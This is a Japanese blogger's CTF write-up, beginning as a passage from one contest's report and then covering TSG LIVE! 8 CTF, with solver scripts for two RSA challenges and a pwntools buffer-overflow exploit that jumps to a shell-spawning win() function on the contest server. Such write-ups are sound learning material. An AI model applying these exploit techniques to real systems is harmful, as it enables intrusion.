　競技時間は残り 4時間半くらい残っていたのですが、すでに限界を超えていたためほぼ何もできない状態でした。かろうじて一矢報いる感じで解いたのが Misc の phisher(easy)。

● Misc - phisher (easy)

　簡単に言えば、当該フォントで形状的に「www.example.com」と解釈されるような文字列を入れればヨシ、ということで、テキトーにそれっぽい文字列*10を入れました。

フラグ：ctf4b{n16h7_ph15h1n6_15_600d}

　このフラグゲットが 12:11。このあと HP と MP が残っていればあと 1 問くらい行けたかもしれませんが、以下の通り何もできませんでした*11。

  • Misc - H2 (easy)：main.go の存在を忘れ、capture.pcap だけを見ていてワカランとなった。
  • Pwn - raindrop (easy)："/bin/sh" をどこからか持ってこられればなぁ、みたいな感じで思考停止。
  • Web - textex (easy)：エラー発生原因がわからず諦め。おそらく flag の中に含まれる{}をうまく処理できていなかったせい。
  • Web - Ironhand (medium)：中身改ざんして "alg" : "none" と "admin" : "true" をやってみてもうまくいかないので諦め。

　そして意識が飛んだ次の瞬間、14:00 を過ぎてゲームセット。

10. おわりに：～Making good things better～

　最終的には、Welcome以外 11 問を解いて、1169pt で 60位/891teams でした。

　Crypto 全完できたのが救いですが、一番の心残りは pwn の raindeop を通せなかったことです。まぁ、Rev がほぼ手つかずとか、心残りがあまりにも多すぎるのですが・・・いいえ済んだこと。

　次回こそは「Crypto+Rev 全完、Pwn 2問以上倒す」をクリアの上、スコア的にも top 5% 以内を目指したいと思います。

*1:Mental Pointsの略。

*2:ダイの大冒険を視て"レオナ姫成分"の補給を期待するも本編に登場せず、無念。。。

*3:ゲン担ぎとしては実績イマイチなのが、長期戦の場合体力をつけることにもなるので継続中。

*4:これは人によって違うと思いますが、私はほとんどの場合これです。

*5:結果的にこの構想は Crypto の hard 問で苦戦したことにより破綻し、ほぼ無休で 24 時間走破するも、「★★」までしか達成できず、「やったぜ感」を抱くことはできませんでした。

*6:そもそも「競争」は嫌いなタチなので致し方ありません。

*7:Rev の baby レベル問に対しては儀式として必ず行ってます。

*8:31位/943teams。

*9:1時間くらい、なぜ刺さらないか悩んでいました。ホンマにアホ。

*10:HEX:CF89CF89CF89E280A4D0B5D185D0B0E285BFD180CE99D0B5E280A4E285BDCEBFE285BF

*11:Ζガンダムでクワトロ（シャア）の百式がボロボロになったのと同じような感じの戦闘不能状態。twitterで呟いた「まだだ、まだ終わらんよ。」のセリフがある意味マッチしすぎる状況でした。

TSG LIVE! 8 CTF 参戦記

1. はじめに

　2022/5/14(土)12:33 JST ～ 14:13 JSTに開催された「TSG Live! 8 CTF」にチーム「N30Z30N」でソロ参加しました。この記事はその参戦記です。*1

2. 参戦準備について

　競技時間は100分ですが、並行して「m0leCon CTF 2022 Teaser」と「TJCTF 2022」に参戦していたのと、前日の疲労がヤバいレベルで HP も MP もほぼ空だったので、栄養ドリンクとスイーツを補給したうえ、昼食はゲン担ぎを兼ねてロースかつ弁当としました。

　zer0pts CTF の時の反省を踏まえ*2、ひとまず「途中離脱せず、100分もたせる」だけの体制を整えることはできました。

3. とけたぜ！（Crypto: two keys）

　いつものとおり、Crypto 全完を目標（出来るとは言っていない）に、まずは forgetful rsa を覗いてみましたが、「out.txt がデカくてツラ」と思って後回しにし、two keys に着手しました。

ファイル：「main.py」

from Crypto.Util.number import *
from flag import flag

def nextPrime(n):
    while True:
        n += 1
        if isPrime(n):
            return n

class RSA:
    def __init__(self, p, q):
        assert isPrime(p) and isPrime(q)
        self.p = p
        self.q = q
        self.e = 65537
        self.d = pow(self.e, -1, (self.p-1) * (self.q-1))
    def encrypt(self, x):
        return pow(x, self.e, self.p * self.q)
    def decrypt(self, y):
        return pow(y, self.d, self.p * self.q)
    def printPublicKey(self):
        print(f"N = {self.p * self.q}")
        print(f"e = {self.e}")

p = getPrime(512)
q = getPrime(512)
pp = nextPrime(p)
qq = nextPrime(q)
rsa1 = RSA(p, q)
rsa2 = RSA(pp, qq)

x1 = int.from_bytes(str.encode(flag[:len(flag)//2]), "big")
x2 = int.from_bytes(str.encode(flag[len(flag)//2:]), "big")
y1 = rsa1.encrypt(x1)
y2 = rsa2.encrypt(x2)

assert x1 == rsa1.decrypt(y1)
assert x2 == rsa2.decrypt(y2)

print("First half:")
rsa1.printPublicKey()
print(f"y = {y1}")
print()
print("Second half:")
rsa2.printPublicKey()
print(f"y = {y2}")

ファイル：「output.txt」

First half:
N = 56857358946783738817465975297711204069935415016419932538392922530218921201217352346494361968035470184308357037387164930109496691365401965670237349367799774405061235025947852274083877022468072607753900481316564650009744632767993278947752127202134753913008582254000854930780954253903124752186965795809304941831
e = 65537
y = 54129553452548020723616698595285587704861441821682175273940519683163638301529404696982989366696324064594396066797701089154672560828427185057071836681043144874565113154501014407283089885871224438534781940829559886228137883794445606551971734932755694582218804069846658338752506228081788324414191778266867960340

Second half:
N = 56857358946783738817465975297711204069935415016419932538392922530218921201217352346494361968035470184308357037387164930109496691365401965670237349367805332556208545324190423359112543995138089627600000504956531406110700016755090783444147649357626603184673602899015609448577621960908326053341685493162553923683
e = 65537
y = 54904189490273836503960200711350004725920576885881641688173306274762202573095421887773308652425204453956153996353028898080968805699877265273638393099277340479488951192104954084070323022216313855632506411275865181376283939786423085736432815359399351894579725901517442688632028924262380544819047494361593650323

　慣用句に「馬●の一つ覚え」というのがありますが、今回それをやらかしてしまいました。p の nextpime が pp なので、Approximate GCD が使えるだろうと早とちりしたのですが、q の nextprime が qq なので、仮に格子的な計算が成功したとしても N1（あるいは N2） が結果として出てきてしまうものと考えられ、明らかに適用外です！

　それに気づいたのが開始後30分くらいのところで、気を取り直して pp - p を i 、qq - q を j と置いて考え直すことにしました。このとき、

　　　　N2 = (p + i) * (q + j) = N1 + p * i + q * j + i * j

であるから、

　　　　p * i + q * j = N2 - N1 - i * j

であり、

　　　　(p * i) * (q * j) = N1 * i * j

なので、(p * i)、(q * j)は二次方程式

x ** 2 - (N2 - N1 - i * j) * x + N1 * i * j = 0

の根となります。i と j はそう大きくはないのですが、テキトーに 1000 くらいで回しています。

　ここで、解の公式をミスって 2 で割るのを忘れたり、方程式の解を i や j で割るのを忘れたりして gdgd になり*3、さらに時間を溶かしてしまいました。ゲフー。

ソルバ：

from Crypto.Util.number import *
import gmpy2

N1 = 56857358946783738817465975297711204069935415016419932538392922530218921201217352346494361968035470184308357037387164930109496691365401965670237349367799774405061235025947852274083877022468072607753900481316564650009744632767993278947752127202134753913008582254000854930780954253903124752186965795809304941831
y1 = 54129553452548020723616698595285587704861441821682175273940519683163638301529404696982989366696324064594396066797701089154672560828427185057071836681043144874565113154501014407283089885871224438534781940829559886228137883794445606551971734932755694582218804069846658338752506228081788324414191778266867960340
N2 = 56857358946783738817465975297711204069935415016419932538392922530218921201217352346494361968035470184308357037387164930109496691365401965670237349367805332556208545324190423359112543995138089627600000504956531406110700016755090783444147649357626603184673602899015609448577621960908326053341685493162553923683
y2 = 54904189490273836503960200711350004725920576885881641688173306274762202573095421887773308652425204453956153996353028898080968805699877265273638393099277340479488951192104954084070323022216313855632506411275865181376283939786423085736432815359399351894579725901517442688632028924262380544819047494361593650323

e = 65537

def nextPrime(n):
    while True:
        n += 1
        if isPrime(n):
            return n

for i in range(1,1000):
  for j in range(1,1000):
    pi_qj = N2 - N1 - i*j
    piqj = N1 * i * j
    D = pi_qj**2 - 4 * piqj
    if D <= 0:
      continue
    sqrt_d = gmpy2.iroot(D,2)
    if sqrt_d[1]:
      _p = (pi_qj + sqrt_d[0]) // 2
      _q = (pi_qj - sqrt_d[0]) // 2
      if _p * _q == N1 * i * j:
         if _p % i == 0:
           if isPrime(_p//i):
             p = _p // i
             q = _q // j
             break
             break
         elif _p % j == 0:
           if isPrime(_p//j):
             p = _p // j
             q = _q // i
             break

assert p*q == N1

pp = nextPrime(p)
qq = nextPrime(q)

phi1 = (p-1)*(q-1)
phi2 = (pp-1)*(qq-1)

d1 = inverse(e,phi1)
d2 = inverse(e,phi2)
flag = long_to_bytes(pow(y1,d1,N1)) + long_to_bytes(pow(y2,d2,N2))
print(flag)

TSGLIVE{Stream_is_constant_and_never_stay_same_Lets_enjoy_the_moment}

　問題はとけたけど、時間もとけたぜ！

　この時点で残り50分を切っていました。まじかー。

4. またとけたぜ！（Crypto: forgetful rsa）

　どうにか 1 問解けたので、保留にした forgetful rsa を着手しました。

ファイル：「main.py」

from Crypto.Util.number import getPrime, bytes_to_long

p = getPrime(512)
q = getPrime(512)
N = p * q
phi = (p - 1) - (q - 1)
e = 0x101
d = pow(e, -1, phi)

with open('flag.txt', 'rb') as f:
    flag = bytes_to_long(f.read())

c = []
for i in range(flag.bit_length() + 1):
    c.append(pow(flag >> i, e, N))

print(f'c = {c}')

ファイル：「output.txt」

c = [19661487556550173493222456303072249341128453473916777331601345886246260652672968856337899787318668971952757647302217421772241409687795270927563918837382385552171026687263046224651645163713025012640427349067255170649334161813431643452731116450224128521046939950596124929737426726946632117485058945846215672223, 24220404081896610633277469417205140322382224442431077123020794421691596062692635322323543128953400149095301549476903842494275594384117575011718682419172618321743925099045859899620669668344043395324430107211824351943367008843247741404264797624145441772738078613575341050070951582713006379516500669603348424068, 
#＜中略＞
,1,0]

　なんと、公開鍵（modulus）が与えられていません！ただ、多数の良いデータがあるのでここから導出できそうな感じです。

　また、exponent は 0x101 なので、このあたりにも解き方のヒントがありそうだと思いました。

　この問題は、１）modulus の特定　２）復号（平文ゲット）の 2 段階で解きました。

1）moduls（N）の特定

　まず、フラグの末尾は「}」（0x7d = 0b111101）と推測できるので*4、flag>>1 は偶数です。よって、flag>>2 = (flag>>1) // 2 であり、x: = flag>>1 とおくと、

c[2] * 2 ** e = pow(x//2, e, N) * 2 ** e ≡ pow(x,e,N) = c[1] (mod N)

ですから、

　　　　N0 := c[2] * 2 ** e - c[1]

は N の倍数です。

　あとは、同様の理由で c[i+1] * 2**e - c[i] が N の倍数になる場合が多数出てきますので、これらをテキトーに拾って N0 と GCD してゆけば N が求まります。正確には、ビット数で評価すべきなのでしょうが競技なので適当な回数回して「助さん角さん、もういいでしょう」的な感じでヨシとしてしまいました。

前半のソルバ：

from Crypto.Util.number import *
import gmpy2
e = 0x101
c = [＜省略＞]

N0 = c[2] * 2**e - c[1]
N = N0

for i in range(2,100):
  tmp = gmpy2.gcd(N, c[i+1] * 2**e - c[i])
  if tmp < 2**1023:
    continue
  N = tmp
print(N)

# N = 142643935303446381001279947550591766064860638332732560752396406069081171879061311344991121502015387733157095870331363131417418514982044480403293728339899298554597845932712399673486772631075556012586672082574811346123474551631303197292734503133958141848155519486123242876455089596670804942778448421334181752913

2）復号（フラグゲット）

　後半は c からフラグを導出しますが、使うのは c[0] と c[1] だけです。フラグの末尾は「}」（0x7d = 0b111101）だとすれば flag は奇数なので、flag>>1 は(flag-1)//2 と等しくなります。つまり、

　　　flag ^ e - c[0] ≡ 0 mod N

　　　(flag - 1) ^ e - c[1] * inv_2 ^ e = 0 mod N　（inv_2 = inverse(2,N)）

が成り立つので、Franklin Reiter Attack を適用できます。e も多項式 GCD 計算に耐えられるくらいには小さいので、おそらくこれが想定解なのでしょう。

後半のソルバ（sage）：

from Crypto.Util.number import long_to_bytes

def polynomial_gcd(g1, g2):
  if g1.degree() > g2.degree():
    g1, g2 = g2, g1
  g1 = g1.monic()
  g2 = g2.monic()
  if g1.degree() == 1:
    return g1
  else:
    return polynomial_gcd(g1, g2 % g1)

def Franklin_Reiter_Attack(g1, g2):
  return -polynomial_gcd(g1,g2).coefficients()[0]

e = 0x101
N = 142643935303446381001279947550591766064860638332732560752396406069081171879061311344991121502015387733157095870331363131417418514982044480403293728339899298554597845932712399673486772631075556012586672082574811346123474551631303197292734503133958141848155519486123242876455089596670804942778448421334181752913

c0 = 19661487556550173493222456303072249341128453473916777331601345886246260652672968856337899787318668971952757647302217421772241409687795270927563918837382385552171026687263046224651645163713025012640427349067255170649334161813431643452731116450224128521046939950596124929737426726946632117485058945846215672223
c1 = 24220404081896610633277469417205140322382224442431077123020794421691596062692635322323543128953400149095301549476903842494275594384117575011718682419172618321743925099045859899620669668344043395324430107211824351943367008843247741404264797624145441772738078613575341050070951582713006379516500669603348424068
c1 = c1 * pow(2,e,N) % N

R.<x> = PolynomialRing(Zmod(N))
f0 = x^e - c0
f1 = (x-1)^e- c1

f0 = f0.monic()
f1 = f1.monic()

result = Franklin_Reiter_Attack(f0,f1)
print(long_to_bytes(int(result)))

TSGLIVE{mY_m3MoRy-m4y_Impr0ve_s0me_D4y..._b1t_by_6it!}

　サクサクできたつもりでも、この時点で残り 20 分弱。また時間がとけたぜ。ひぇー。

5. まだだ、まだ終わらんよ！（Pwn: bpxover）

chall.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
    char *argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    char buf[16];

    puts("hello :)");
    scanf("%s", buf);
    long x = strtoll(buf, NULL, 10);
    asm ("xor %0, %%rbp\n\t"
            :
    : "r" (x));

    return 0;
}

　終了間際の常套句。「まだだ、まだ終わらんよ！」

　とりあえず、一番 solve 数の多そうな bpxover にチャレンジ。

　しかし、ここにきてキーボードが入力できんとは！

　ええぃ、再起動！

　果たして解き終わったとき、スコアボードは closed。無念。。。*5

Exploit:

from pwn import *
import sys

key = 0x4011b6

if 'remote' in sys.argv:
    r = remote('chall.live.ctf.tsg.ne.jp', 30006)
else:
    r = process('./chall')

buf = b'0'* 40
r.recvuntil("hello :)")
buf += p64(key)
r.sendline(buf)

r.interactive()

TSGLIVE{welcome_overflowwwwwwwwww}

※フラグ投入未遂

6. おわりに

　「程よく解きやすく（guessingとは無縁）、しかし決して甘くはない。」

　そんな CTF だったと思います。そして、そんな CTF が大好きです。作問陣・運営陣の皆様、ありがとうございました。

　今年の TSG CTF が楽しみです。

*1:口上が「zer0pts CTF 2022 参戦記」のパクリなのは気のせいです。

*2:開始前にgdgdにならないということ。

*3:その名残がソルバの随所に残されています。。。

*4:そう思い込んでいましたが、改行文字(\n)の可能性も十分ありました。しかし、うまくいかなかったらそう推測しなおせばヨシ！

*5:そしてここからの矢吹丈燃え尽きタイム x 時間。。。